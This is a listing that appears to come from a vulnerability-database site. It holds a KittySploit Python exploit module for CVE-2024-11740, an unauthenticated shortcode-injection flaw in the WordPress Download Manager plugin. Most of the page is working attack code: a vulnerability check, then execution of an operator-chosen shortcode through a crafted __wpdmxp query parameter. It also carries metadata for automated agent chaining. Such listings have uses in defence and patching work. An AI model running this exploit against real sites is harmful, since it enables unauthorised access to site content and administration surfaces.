Lucene search
+L

WP Download Manager Shortcode RCE (CVE-2024-11740)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Unauthenticated arbitrary shortcode execution in WordPress Download Manager via __wpdmxp.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Download Manager shortcode execution (CVE-2024-11740)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'WP Download Manager Shortcode RCE (CVE-2024-11740)',
        'description': (
            'Exploits CVE-2024-11740 in WordPress Download Manager <3.3.04: unauthenticated '
            'arbitrary shortcode execution via __wpdmxp query parameter.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2024-11740'],
        'platform': Platform.MULTI,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-11740'],
        'tags': ['wordpress', 'wp-plugin', 'shortcode', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['exploit_paths', 'admin_surface'],
            'chain': {'suggested_followups': ['scanner/http/cve_2024_11740_detect']},
        },
    }

    shortcode = OptString('[wpdm_all_packages]', 'Shortcode to execute', required=False)

    def check(self):
        path = "/?__wpdmxp=%27][/wpdm_package][wpdm_all_packages][wpdm_package%20id=%27"
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and 'wpdm-all-packages' in body:
            return {'vulnerable': True, 'reason': 'Download Manager shortcode injection confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Shortcode execution failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('WP Download Manager not vulnerable')
            return False
        sc = str(self.shortcode or '[wpdm_all_packages]').strip()
        encoded = sc.replace('[', '%5B').replace(']', '%5D').replace(' ', '%20')
        path = f'/?__wpdmxp=%27]{encoded}[wpdm_package%20id=%27'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        print_success((r.text or '')[:4000] if r else '')
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.7High risk
Vulners AI Score8.7
CVSS 3.17.3
EPSS0.01875
SSVC
1